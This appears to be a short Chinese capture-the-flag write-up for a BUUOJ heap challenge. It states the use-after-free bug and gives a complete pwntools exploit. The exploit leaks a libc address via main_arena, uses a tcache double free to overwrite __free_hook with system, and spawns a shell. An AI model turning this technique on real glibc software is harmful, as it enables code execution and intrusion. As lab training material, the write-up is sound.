查看保护
再查看ida
大致为alloc创建堆块,free释放堆块,show输出堆块内容
但是要注意一点free没有清空堆块指针
完整exp:
from pwn import*
from LibcSearcher import*
p=process('./es1')
p=remote('node5.buuoj.cn',26841)
def alloc(size,content1,content2):
p.sendlineafter(b'choice:',str(1))
p.sendlineafter(b'name',str(size))
p.sendafter(b'please input name:',content1)
p.sendafter(b'please input compary call:',content2)
def show(index):
p.sendlineafter(b'choice:',str(2))
p.sendlineafter(b'Please input the index:',str(index))
def free(index):
p.sendlineafter(b'choice:',str(3))
p.sendlineafter(b'Please input the index:',str(index))
alloc(0x80,b'aa',b'bb')
alloc(0x20,b'aa',b'bb')
alloc(0x80,b'/bin/sh\x00',b'dd')
for i in range(0,8): #连续释放,填充tcachebin
free(0)
show(0) #没有删除堆块指针,所以可以直接输出
mainarena96=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(mainarena96))
mainarena=mainarena96-96
mallochook=mainarena-0x10
print(hex(mallochook))
libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
freehook=libcbase+libc.dump('__free_hook')
system=libcbase+libc.dump('system')
binsh=libc.dump('str_bin_sh')
free(1) #利用tcachebin可以double free的性质,进行任意地址创建堆块
free(1)
alloc(0x20,p64(freehook),b'aa')
alloc(0x20,p64(0),b'aa')
alloc(0x20,p64(system),b'aa')
free(2)
p.interactive()
补充点1:在最后的两次free堆块1那里要注意堆块的大小,堆块大小为0x10来解题会费很大力气,因为在创建堆块的时候程序还会malloc一个大小为0x18的堆块,调试解题就会很困难,非常不建议这样设置,比如可以像这里一样设置为0x20